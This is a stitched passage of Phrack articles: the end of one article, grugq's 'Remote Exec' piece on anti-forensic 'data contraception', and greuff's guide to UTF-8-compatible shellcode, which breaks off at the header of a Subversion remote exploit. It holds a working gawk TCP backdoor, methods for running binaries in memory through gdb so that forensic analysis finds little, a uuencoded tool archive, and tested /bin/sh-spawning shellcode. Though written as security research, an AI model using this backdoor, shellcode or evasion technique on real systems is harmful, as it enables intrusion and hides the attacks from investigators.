*Inlineegg (http://oss.coresecurity.com/projects/inlineegg.html)

*LSD (http://www.hivercon.com/hc02/talk‑lsd.htm)

*Eeye (http://www.blackhat.com/html/win‑usa‑03/win‑usa‑03‑

speakers.html#Riley Hassel)

*Dave Aitel (http://www.immunitysec.com/MOSDEF/)

*Alexander E. Cuttergo (Impurity)

‑‑[ 11 The code

Please see http://www.scan‑associates.net/papers/one‑way.zip

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Remote Exec

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x08 of 0x10

|=‑‑‑‑‑=[ FIST! FIST! FIST! Its all in the wrist: Remote Exec ]=‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ by grugq ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

1 ‑ Abtract

2 ‑ Introduction

3 ‑ Principles

4 ‑ Background

5 ‑ Requirements

6 ‑ Design and Implementation

6.1 ‑ gdbprpc

6.2 ‑ ul_exec

7 ‑ Conclusion

8 ‑ Greets

9 ‑ Bibliography

10 ‑ SourceC0de

‑‑‑[ 1 ‑ Abstract

The infrastructue of anti‑forensics is built on the three strategies of data destruction, data hiding and data contraception. The principles of data contracteption, and a technique for executing a data contraception attack are presented. This technique provides the ability to execute a binary on a remote system without creating a file on the disk.

‑‑‑[ 2 ‑ Introduction

In the years since the introduction of the first two strategies of anti‑forensics [grugq 2002], there has been little additional public research on anti‑forensics. This paper introduces and discusses a third core anti‑forensics strategy: data contraception. Like the other anti‑forensic strategies, data destruction and data hiding, data contraception seeks to reduce the quantity and quality of forensic evidence. Data contraception achieves this by using two core principles: preventing data from reaching the disk, and using common utilities, rather than custom tools, wherever possible.

The rest of this paper will explore data contraception, looking first at the core principles of data contaception, then at the requirements for a data contraception tool, and finally the design and implemenation of such a tool: rexec (remote exec).

‑‑[ 3 ‑ Principles

Data contraception is the attempt to limit the quantity and quality of forensic evidence by keeping forensically valuable, or useful, data off the disk. To accomplish this there are two core techniques for interacting with the operating system: firstly, operate purely in memory, and secondly use common utilities rather than custom crafted tools.

The first principle of data contraception, keeping data off the disk, is most important when dealing with files that interact directly with the operating system such as binaries, LKMs and scripts. The second principle is for guidance when implementing the first principle, and it ensures that any data which does touch the disk is of limited value to a forensic analyst.

Operating in memory only is not a new technique and its already fairly well understood with regards to rootkit development. However, using in memory only techniques during a penetration is not as thoroughly documented in the literature. Within rootkit technologies, the most frequently encountered technique for operating in memory is to use ptrace() to attach to an existing process and inject code into it's address space. Additionaly, injecting kernel modules directly into the kernel is also a well known technique. This paper will focus on developing in memory systems for penetration tools.

Implementing an in‑memory‑only system requires a program on the remote target host acting as a server to interact with the operating system. This server acts as either an Inter Userland Device (IUD) ‑‑ providing access to its own address space ‑‑ or an Intra Userland Device (IUD) ‑‑ providing access to another address space. In either case, this IUD is critical to the effective execution of a successful data contracteption attack.

The second principle of data contraception is critical in reducing the effectiveness of a forensic examination. The use of common utilties means that nothing of value exists for an analyst to recover. An example would be a back door written using gawk. Since some version 3.x, GNU Awk has supported network programming. Why the GNU people added network support to a text processing tools is something of a mystery, however it is a useful feature for a data contraception attack. Here is a proof of concept backdoor developed in a few minutes using gawk.

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

#!/usr/bin/gawk ‑f

BEGIN {

Port = 8080

Prompt = "bkd> "

Service = "/inet/tcp/" Port "/0/0" while (1) {

do {

printf Prompt |& Service

Service |& getline cmd

if (cmd) {

while ((cmd |& getline) > 0)

print $0 |& Service

close(cmd)

}

} while (cmd != "exit") close(Service)

}

}

[‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

To effectively use a script, such as the above, in an attack, the attacker would employ the first principle of anti‑forensics. In practice, this means the attacker would launch the script interpretor and then copy the script itself to the interpretor's stdin. This prevents the script from appearing on the disk where it might be discovered during a forensic analysis.

Using these two core principles of data contraception, the rest of this paper will examine some existing data contraception tools, along with the design and implementation of remote exec: rexec.

‑‑‑[ 4 ‑ Background

There are already several projects which use a data contraception methodology, although the terminology for data contraception is more recent than their development. The projects that the author is aware of are: MOSDEF; Core Impact, and ftrans. The first two projects are commercial penetration testing tools, the last is an "anti‑honeypot" tool.

Core Impact implements a data contraception techinque called "syscall proxying". Core Impact uses an exploited process as an IUD (Intra), and a client which contains the attacker's "business logic". The IUD server executes system calls for the client and returns the result. This allows the attacker's code to run locally on the client system, and yet behave as if it were local to the remote system. According to Dave Aitel, there are problems with technique, mostly related to execution speed and complexities involving fork().

As a solution to the problems he experienced implementing the Core Impact syscall proxying technique, Dave Aitel developed MOSDEF. MOSDEF uses an exploited process as an IUD (Intra), and a client which contains a compiler. This allows a penetration tester to build an arbitrary program on the client and inject it into the address space under the control of the IUD for execution. In this technique, the attacker's code runs on the remote host, however it exists only in memory. The problems with this technique are limitations in the size and complexity of the attacker's code, and all of the issues related to implementing a compiler.

Unrelated to the previous two penetration testing programs, ftrans is a pure anti‑forensics tool designed to operate in the extremely hostile forensic environment of a honey pot. The ftrans program uses a custom built server which uses SSL to copy a binary from the client into it's own address space. It then uses ul_exec() [grugq 2004] to execute the binary from a memory buffer. This technique is most similar to what this paper will discuss, the design and implementation of rexec.

‑‑‑[ 5 ‑ Requirements

With data contraception, any action which requires the creation of a file is to be avoided. The most common reason for requiring a file is to execute a binary. Building a tool which can execute an arbitrary binary on a remote host leaves open any number of possible implementations. The requirements need to be narrowed down to a manageable set using the principles of data contracteption. From those requirements it is then possible to develop a design and implementation.

Firstly, the tool has to be able to run over any number of shell connections, so the communications protocol between the client and server should be ASCII text based. Using ASCII text will mean a slow protocol, however robustness and effectiveness, rather than speed, are critical to the performance of the tool in the real world.

Secondly, the IUD server has to be a common Unix utility rather than a custom crafted tool. That way, the discovery of the server does not indicate that the compromised machine has been subjected to a data contracteption attack. Using a common utility rather than writing a custom tool means that the IUD server will not be intellegent in how it operates. Based on the preceeding requirements, its clear that the client has to be complex to compensate for the dumb server. This is acceptable because the user of a data contraception tool will have complete control over at least one machine.

‑‑‑[ 6 ‑ Design and Implementation

The core design for a data contraception tool to execute binaries on a remote system purely from memory is:

*) use an IUD to gain access to an address space *) upload the binary to execute into memory

*) load the binary into an address space

*) transfer control of execution to the binary

A library to load ELF binaries from memory into an existing address space already exists: ul_exec. Using ul_exec allows the tool to simply upload a copy of ul_exec and the binary, then transfer control to ul_exec(). Therefore, in order to implement the data contraception tool, all that is required is a suitable IUD.

A suitable IUD would have to be a common Unix utility which can manipulate registers and memory and accepts commands as text. There is one obvious solution: gdb. The GNU debugger uses text commands to interact with, and operate on, a slave child process.

Using gdb as an IUD allows an attacker to be exploit agnost for anti‑forensic attacks. After using an arbitrary exploit to gain access to a shell, an attacker is able to execute any binary without creating a forensic trace. By the same token, once an attacker has shell access to a host, he is able to execute an artibtrary command without leaving any evidence of forensic value. An IUD seperate from an exploited process allows an attacker to use anti‑forensic attacks at any point after owning a box, rather than only during the initial exploitation phase.

‑‑[ 6.1 ‑ gdbprpc

To interface with gdb, a library was written which creates wrappers for the core functions of an IUD. These are memory and register access, and control over the execution of various regions of code. This library, gdbrpc, creates an arbitrary slave child process for an address space to manipulate.

Each gdbrpc session is described by an abstract object: rgp_t. This object is created using rgp_init(), which takes a readable and writeable file descriptor to a pty based shell. The facilities to execute system calls and examine and set memory contents are encapsulated behind standardised function calls. For example:

int rgp_brk(rgp_t *rp, void * end_data_segment); void rgp_set_addr32(rgp_t *rp, void *addr, unsigned int val); unsigned int rgp_get_addr32(rgp_t *rp, void *addr); void rgp_set_reg(rgp_t *rp, rgp_reg reg, unsigned int val);

Copying data into and out of a slave process is accomplished using the functions:

void rgp_copy_to(rgp_t *rp, void *remote, void *local, size_t n); void rgp_copy_from(rgp_t *rp, void *local, void *remote, size_t n);

With the gdbrpc API set, it is trivial to allocate memory in a process, copy in arbitrary quantities of code and data, and transfer control of execution.

‑‑[ 6.2 ‑ ul_exec

In order for the ul_exec library to be correctly loaded into the address space it needs to be relocated to the load address. This is done internally within rexec. First, rexec allocates the space for the library in the remote address space with rpg_mmap(). The address of that space is then used to relocate an internally loaded copy of the ul_exec library, and the resultant relocated library is then loaded remotely.

With the ul_exec library loaded in an address space, all that is required is creating a memory buffer containing the desired ELF binary. This is trivially accomplished using rgp_mmap() and rgp_copy_to().

Finally, putting it all together it is possible to encapsulate the entire process into a single call:

int rx_execve(int fd, char *fname, int argc, char **argv);

‑‑[ 7 ‑ Conclusion

Along with the other two anti‑forensic strategies, data destruction and data hiding, data contraception helps an attacker reduce the effectiveness of a forensic analysis. Data contraception attack techniques have been used frequently in the past, although without the articulation of the formalised core principlies. These two principles, operating in memory to keep data off the disk, and using common utilities rather than incriminating custom crafted tools, form the core of the data contraception strategy. A frequent component of data contraception attacks is an IUD, which acts as a server providing the client access to the operating system without altering the file system.

A tool which implements a data contraception attack, remote exec, uses gdb as an IUD providing access to a slave process' address space. Accessing rexec requires a complex client which can gain access to a pty based shell. A tool to encapsulate the rexec protocol has been developed: xsh. The "eXploit SHell" is embedded within screen and provides a rich data contraception environment for penetration time anti forensic attacks.

‑‑[ 8 ‑ Greets

gera, mammon, grendel PhD, xvr, a_p, _dose, "the old man", apach3, random, joey, mikasoft, eugene.

‑‑[ 9 ‑ Bibliography

‑ grugq 2002 ‑ The Art of Defiling: Defeating Forensic Analysis on Unix http://www.phrack.org/phrack/59/p59‑0x06.txt

‑ grugq 2004 ‑ The Design and Implementation of ul_exec http://www.hcunix.net/papers/grugq_ul_exec.txt

‑‑[ 10 ‑ SourceC0de

begin 600 rexec‑0.8.5.tar.gz

M'XL(`'6RYT```^P\85/;2++[U?H5'8[‑R6`;&QOR*@[L$>)<N"()1=C;W6)Y

end

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

UTF8 Shellcode

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ Writing UTF‑8 compatible shellcodes ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑[ Thomas Wana aka. greuff <greuff@void.at> ]‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

1 ‑ Abstract

2 ‑ What is UTF‑8?

2.1 ‑ UTF‑8 in detail

2.2 ‑ Advantages of using UTF‑8

3 ‑ The need for UTF‑8 compatible shellcodes

3.1. ‑ UTF‑8 sequences

3.1.1 ‑ Possible sequences

3.1.2 ‑ UTF‑8 shortest form

3.1.3 ‑ Valid UTF‑8 sequences

4 ‑ Creating the shellcode

4.1 ‑ Bytes that come in handy

4.1.1 ‑ Continuation bytes

4.1.2 ‑ Masking continuation bytes

4.1.3 ‑ Chaining instructions

4.2 ‑ General design rules

4.3 ‑ Testing the code

5 ‑ A working example

5.1 ‑ The original shellcode

5.2 ‑ UTF‑8‑ify

5.3 ‑ Let's try it out

5.4 ‑ A real exploit using these techniques

6. ‑ Considerations

6.1 ‑ Automated shellcode transformer

6.2 ‑ UTF‑8 in XML‑files

7 ‑ Greetings, last words

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑[ 1. Abstract

This paper deals with the creation of shellcode that is recognized as valid by any UTF‑8 parser. The problem is not unlike the alphanumeric shellcodes problem described by rix in phrack 57 [4], but fortunately we have much more characters available, so we can almost always build shellcode that is valid UTF‑8 and does what we want.

I will show you a brief introduction into UTF‑8 and will outline the characters available for building shellcodes. You will see that it's generally possible to make any shellcode valid UTF‑8, but you will have to think quite a bit. A working example is provided at the end for reference.

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑[ 2. What is UTF‑8?

For a really great introduction into the topic, I highly suggest reading the "UTF‑8 and Unicode FAQ" [1] by Markus Kuhn.

UTF‑8 is a character encoding, suitable to represent all 2^31 characters defined by the UNICODE standard. The really neat thing about UTF‑8 is that all ASCII characters (the lower codepage in standard encodings like ISO‑8859‑1 etc) are the same in UTF‑8 ‑ no conversion needed. That means, in the best case, all your config files in /etc and every English text document you have on your computer right now are already 100% valid UTF‑8.

Unicode characters are written like this: U‑0000007F, which stands for "the 128th character in the Unicode character space". You can see that with this representation one can easily represent all 2^31 characters that the Unicode‑standard defines, but it's a waste of space (when you write English or western text) and ‑ much more important ‑ makes the transition to Unicode very hard (convert all the files you already have). "Hello" would thus be encoded like:

U‑00000047 U‑00000065 U‑0000006C U‑0000006C U‑0000006F

which is in hex:

\x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00 \x6F\x00\x00\x00

(for all you little endian friends).

What a waste of space! 20 bytes for 5 characters... The same text in UTF‑8:

"Hello"

:‑)

Let's look at the encoding in more detail.

‑ ‑‑‑[ 2.1. UTF‑8 in detail

UTF‑8 can represent any Unicode character in an UTF‑8 sequence between 1‑6 bytes.

As I already mentioned before, the characters in the lower codepage (ASCII‑code) are the same in Unicode ‑ they have the character values U‑00000000 ‑ U‑0000007F. You therefore still only need 7 bits to represent all possible values. UTF‑8 says, if you only need up to 7 bits for your character, stuff it into one byte and you are fine.

Unicode‑characters that have higher values than U‑0000007F must be mapped to two or more bytes, as shown in the table below:

U‑00000000 ‑ U‑0000007F: 0xxxxxxx

U‑00000080 ‑ U‑000007FF: 110xxxxx 10xxxxxx

U‑00000800 ‑ U‑0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx

U‑00010000 ‑ U‑001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U‑00200000 ‑ U‑03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U‑04000000 ‑ U‑7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx

Example: U‑000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS)

This character's value is between U‑00000080 and U‑000007FF, so we have to encode it using 2 bytes. 0xC4 is 11000100 binary. UTF‑8 fills up the places marked 'x' above with these bits, beginning at the lowest significant bit.

110xxxxx 10xxxxxx

+ 11 000100

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

11000011 10000100

which results in 0xC3 0x84 in UTF‑8.

Example: U‑0000211C (BLACK‑LETTER CAPITAL R)

The same here. According to the table above, we need 3 bytes to encode this character.

0x211C is 00100001 00011100 binary. Lets fill up the spaces:

1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx

+ 00 100001 000100 011100

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

11100000 10100001 10000100 10011100

which is 0xE0 0xB1 0x84 0x9C in UTF‑8.

I hope you get the point now :‑)

‑ ‑‑‑[ 2.2. Advantages of using UTF‑8

UTF‑8 combines the flexibility of Unicode (think of it: no more codepages mess!) with the ease‑of‑use of traditional encodings. Also, the transition to complete worldwide UTF‑8 support is easy to do, because every plain7‑bit‑ASCII‑file that exists right now (and existed since the 60s) will be valid in the future too, without any modifications. Think of all your config files!

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑] 3. The need for UTF‑8 compatible shellcodes

So, since we know now that UTF‑8 is going to save our day in the future, why would we need shellcodes that are valid UTF‑8 texts?

Well, UTF‑8 is the default encoding for XML, and since more and more protocols start using XML and more and more networking daemons use these protocols, the chances to find a vulnerability in such a program increases. Additionally, applications start to pass user input around encoded in UTF‑8. So sooner or later, you will overflow a buffer with UTF‑8‑data. Now you want that data to be executable AND valid UTF‑8.

‑ ‑‑‑] 3.1. UTF‑8 sequences

Fortunately, the situation is not _that_ desperate, compared to alphanumeric shellcodes. There, we only have a very limited character set, and this really limits the instructions available. With UTF‑8, we have a much bigger character space, but there is one problem: we are limited in the _sequence_ of characters. For example, with alphanumeric shellcodes we don't care if the sequence is "AAAC" or "CAAA" (except for the problem, of course, that the instructions have to make sense :)) But with UTF‑8, for example, 0xBF must not follow 0xBF. Only certain bytes may follow other bytes. This is what the UTF‑8‑shellcode‑magic is all about.

‑ ‑‑‑] 3.1.1. Possible sequences

Let's look into the available "UTF‑8‑codespace" more closely:

U‑00000000 ‑ U‑0000007F: 0xxxxxxx = 0 ‑ 127 = 0x00 ‑ 0x7F

This is much like the alphanumeric shellcodes ‑ any character can follow any character, so 0x41 0x42 0x43 is no problem, for example.

U‑00000080 ‑ U‑000007FF: 110xxxxx 10xxxxxx

First byte: 0xC0 ‑ 0xDF

Second byte: 0x80 ‑ 0xBF

You see the problem here. A valid sequence would be 0xCD 0x80 (do you remember that sequence ‑ int $0x80 :)), because the byte following 0xCD must be between 0x80 and 0xBF. An invalid sequence would be 0xCD 0x41, every UTF‑8‑parser chokes on this.

U‑00000800 ‑ U‑0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx

First byte: 0xE0 ‑ 0xEF

Following 2 bytes: 0x80 ‑ 0xBF

So, if the sequence starts with 0xE0 to 0xEF, there must be two bytes following between 0x80 and 0xBF. Fortunately we can often use 0x90 here, which is nop. But more on that later.

U‑00010000 ‑ U‑001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx First byte: 0xF0 ‑ 0xF7

Following 3 bytes: 0x80 ‑ 0xBF

You get the point.

U‑00200000 ‑ U‑03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx First byte: 0xF8 ‑ 0xFB

Following 4 bytes: 0x80 ‑ 0xBF

U‑04000000 ‑ U‑7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx First byte: 0xFC ‑ 0xFD

Following 5 bytes: 0x80 ‑ 0xBF

So we know now what bytes make up UTF‑8:

0x00 ‑ 0x7F without problems

0x80 ‑ 0xBF only as a "continuation byte" in the middle of a sequence 0xC0 ‑ 0xDF as a start‑byte of a two‑byte‑sequence (1 continuation byte) 0xE0 ‑ 0xEF as a start‑byte of a three‑byte‑sequence (2 continuation bytes) 0xF0 ‑ 0xF7 as a start‑byte of a four‑byte‑sequence (3 continuation bytes) 0xF8 ‑ 0xFB as a start‑byte of a five‑byte‑sequence (4 continuation bytes) 0xFC ‑ 0xFD as a start‑byte of a six‑byte‑sequence (5 continuation bytes) 0xFE ‑ 0xFF not usable! (actually, they may be used only once in a UTF‑8text ‑ the sequence 0xFF 0xFE marks the start of such a text)

‑ ‑‑‑] 3.1.2. UTF‑8 shortest form

Unfortunately (for us), the Corrigendum #1 to the Unicode standard [2] specifies that UTF‑8‑parsers only accept the "UTF‑8 shortest form" as a valid sequence.

What's the problem here?

Well, without that rule, we could encode the character U+0000000A (line feed) in many different ways:

0x0A ‑ this is the shortest possible form

0xC0 0x8A

0xE0 0x80 0x8A

0xF0 0x80 0x80 0x8A

0xF8 0x80 0x80 0x80 0x8A

0xFC 0x80 0x80 0x80 0x80 0x8A

Now that would be a big security problem, if UTF‑8 parsers accepted _all_ the possible forms. Look at the strcmp routine ‑ it compares two strings byte per byte to tell if they are equal or not (that still works this way when comparing UTF‑8‑strings). An attacker could generate a string with a longer form than necessary and so bypass string comparison checks, for example.

Because of this, UTF‑8‑parsers are _required_ to only accept the shortest possible form of a sequence. This rules out sequences that start with one of the following byte patterns:

1100000x (10xxxxxx)

11100000 100xxxxx (10xxxxxx)

11110000 1000xxxx (10xxxxxx 10xxxxxx)

11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx)

11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx)

Now certain sequences become invalid, for example 0xC0 0xAF, because the resulting UNICODE character is not encoded in its shortest form.

‑ ‑‑‑] 3.1.3. Valid UTF‑8 sequences

Now that we know all this, we can tell which sequences are valid UTF‑8:

Code Points 1st Byte 2nd Byte 3rd Byte 4th Byte U+0000..U+007F 00..7F

U+0080..U+07FF C2..DF 80..BF

U+0800..U+0FFF E0 A0..BF 80..BF

U+1000..U+FFFF E1..EF 80..BF 80..BF

U+10000..U+3FFFF F0 90..BF 80..BF 80..BF U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF U+100000..U+10FFFF F4 80..8F 80..BF 80..BF

Let's look how to build UTF‑8‑shellcode!

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑] 4. Creating the shellcode

Before you start, be sure that you are comfortable creating "standard" shellcode, i.e. shellcode that has no limitations in the instructions available.

We know which characters we can use and that we have to pay attention to the character sequence. Basically, we can transform any shellcode to UTF‑8 compatible shellcode, but we often need some tricks.

‑ ‑‑‑] 4.1. Bytes that come in handy

The biggest problem while building UTF‑8‑shellcode is that you have to get the sequences right.

"\x31\xc9" // xor %ecx, %ecx

"\x31\xdb" // xor %ebx, %ebx

We start with \x31. No problem here, \x31 is between \x00 and \x7f, so we don't need any more continuation bytes. \xc9 is next. Woops it is between \xc2 and \xdf, so we need a continuation byte. What byte is next? \x31 ‑ that is no valid continuation byte (which have to be between \x80 and \xbf). So we have to insert an instruction here that doesn't harm our code *and* makes the sequence UTF‑8compatible.

‑ ‑‑‑] 4.1.1. Continuation bytes

We are lucky here. The nop instruction (\x90) is the perfect continuation byte and simply does nothing :) (exception: you can't use it if it is the first continuation byte in a \xe1‑\xef sequence ‑ see the table in 3.1.3).

So to handle the problem above, we would simply do the following:

"\x31\xc9" // xor %ecx, %ecx

"\x90" // nop (UTF‑8)

"\x31\xdb" // xor %ebx, %ebx

"\x90" // nop (UTF‑8)

(I always mark bytes I inserted because of UTF‑8 so I don't accidentally optimize them away later when I need to save space)

‑ ‑‑‑] 4.1.2. Masking continuation bytes

The other way round, you often have instructions that start with a continuation byte, i.e. the first byte of the instruction is between \x80 and \xbf:

"\x8d\x0c\x24" // lea (%esp,1),%ecx

That means you have to find an instruction that is only one byte long and lies between \xc2 and \xdf.

The most suitable one I found here is SALC [2]. This is an *undocumented* Intel opcode, but every Intel CPU (and compatible) supports it. The funny thing is that even gdb reports an "invalid opcode" there. But it works :) The opcode of SALC is \xd6 so it suits our purpose well.

The bad thing is that it has side effects. This instruction modifies %al depending on the carry flag (see [3] for details). So always think about what happens to your %eax register when you insert this instruction!

Back to the example, the following modification makes the sequence valid UTF‑8:

"\xd6" // salc (UTF‑8)

"\x8d\x0c\x24" // lea (%esp,1),%ecx

‑ ‑‑‑] 4.1.3. Chaining instructions

If you are lucky, instructions that begin with continuation bytes follow instructions that need continuation bytes, so you can chain them together, without inserting extra bytes.

You can often safe space this way just by rearranging instructions, so think about it when you are short of space.

‑ ‑‑‑] 4.2. General design rules

%eax is evil. Try to avoid using it in instructions that use it as a parameter because the instruction then often contains \xc0 which is invalid in UTF‑8. Use something like

xor %ebx, %ebx

push %ebx

pop %eax

(pop %eax has an instruction code of its own ‑ and a very UTF‑8 friendly one, too :)

‑ ‑‑‑] 4.3. Testing the code

How can you test the code? Use iconv, it comes with the glibc. You basically convert the UTF‑8 to UTF‑16, and if there are no error messages then the string is valid UTF‑8. (Why UTF‑16? UTF‑8 sequences can yield character codes well beyond 0xFF, so the conversion would fail in the other direction if you would convert to LATIN1 or ASCII. Drove me nuts some time ago, because I always thought my UTF‑8 was wrong...)

First, invalid UTF‑8:

greuff@pluto:/tmp$ hexdump ‑C test

00000000 31 c9 31 db |1.1.|

00000004

greuff@pluto:/tmp$ iconv ‑f UTF‑8 ‑t UTF‑16 test

1iconv: illegal input sequence at position 1

greuff@pluto:/tmp$

And now valid UTF‑8:

greuff@pluto:/tmp$ hexdump ‑C test

00000000 31 c9 90 31 db 90 |1..1..|

00000006

greuff@pluto:/tmp$ iconv ‑f UTF‑8 ‑t UTF‑16 test 1P1greuff@pluto:/tmp$

‑ ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ ‑‑‑] 5. A working example

Now onto something practical. Let's convert a classical /bin/sh‑spawning shellcode to UTF‑8.

‑ ‑‑‑] 5.1. The original shellcode

"\x31\xd2" // xor %edx,%edx

"\x52" // push %edx

"\x68\x6e\x2f\x73\x68" // push $0x68732f6e

"\x68\x2f\x2f\x62\x69" // push $0x69622f2f

"\x89\xe3" // mov %esp,%ebx

"\x52" // push %edx

"\x53" // push %ebx

"\x89\xe1" // mov %esp,%ecx

"\xb8\x0bx\00\x00\x00" // mov $0xb,%eax

"\xcd\x80" // int $0x80

The code simply prepares the stack in the right way, sets some registers and jumps into kernel space (int $0x80).

‑ ‑‑‑] 5.2. UTF‑8‑ify

That's an easy example, no big obstacles here. The only obvious problem is the "mov $0xb,%eax" instruction. I am quite lazy now, so I'll just copy %edx (which is guaranteed to contain 0 at this time) to %eax and increase it 11 times :)

The new shellcode looks like this (wrapped into a C program so you can try it out):

‑ ‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑#include <stdio.h>

char shellcode[]=

"\x31\xd2" // xor %edx,%edx

"\x90" // nop (UTF‑8 ‑ because previous byte was 0xd2)

"\x52" // push %edx

"\x68\x6e\x2f\x73\x68" // push $0x68732f6e

"\x68\x2f\x2f\x62\x69" // push $0x69622f2f

"\xd6" // salc (UTF‑8 ‑ because next byte is 0x89)

"\x89\xe3" // mov %esp,%ebx

"\x90" // nop (UTF‑8 ‑ two nops because of 0xe3)

"\x90" // nop (UTF‑8)

"\x52" // push %edx

"\x53" // push %ebx

"\xd6" // salc (UTF‑8 ‑ because next byte is 0x89)

"\x89\xe1" // mov %esp,%ecx

"\x90" // nop (UTF‑8 ‑ same here)

"\x90" // nop (UTF‑8)

"\x52" // push %edx

"\x58" // pop %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\x40" // inc %eax

"\xcd\x80" // int $0x80

;

void main()

{

int *ret;

FILE *fp;

fp=fopen("out","w"); fwrite(shellcode,strlen(shellcode),1,fp);

fclose(fp);

ret=(int *)(&ret+2);

*ret=(int)shellcode;

}

‑ ‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As you can see, I used nop's as continuation bytes as well as salc to mask out continuation bytes. You'll quickly get an eye for this if you do it often.

‑ ‑‑‑] 5.3. Let's try it out

greuff@pluto:/tmp$ gcc test.c ‑o test

test.c: In function `main':

test.c:37: warning: return type of `main' is not `int' greuff@pluto:/tmp$ ./test

sh‑2.05b$ exit

exit

greuff@pluto:/tmp$ hexdump ‑C out

00000000 31 d2 90 52 68 6e 2f 73 68 68 2f 2f 62 69 d6 89 |1..Rhn/shh//bi..|

00000010 e3 90 90 52 53 d6 89 e1 90 90 52 58 40 40 40 40 |...RS.....RX@@@@|

00000020 40 40 40 40 40 40 40 cd 80 |@@@@@@@..|

00000029

greuff@pluto:/tmp$ iconv ‑f UTF‑8 ‑t UTF‑16 out && echo valid! 1Rhn/shh//bi4RSRX@@@@@@@@@@@@valid!

greuff@pluto:/tmp$

Hooray! :‑)

‑ ‑‑‑] 5.4. A real exploit using these techniques

The recent date parsing buffer overflow in Subversion <= 1.0.2 led me into researching these problems and writing the following exploit. It isn't 100% finished; but it works against svn:// and http:// URLs.

The first shellcode stage is a hand crafted UTF‑8‑shellcode, that searches for the socket file descriptor and loads a second stage shellcode from the exploit and executes it. A real life example showing you that these things actually work :)

‑ ‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑8<‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

/***************************************

* hoagie_subversion.c

*

* Remote exploit against Subversion‑Servers.

*

* Author: greuff <greuff@void.at>

*

* Tested on Subversion 1.0.0 and 0.37

*

* Algorithm:

* This is a two‑stage exploit. The first stage overflows a buffer * on the stack and leaves us ~60 bytes of machine code to be

* executed. We try to find the socket‑fd there and then do a

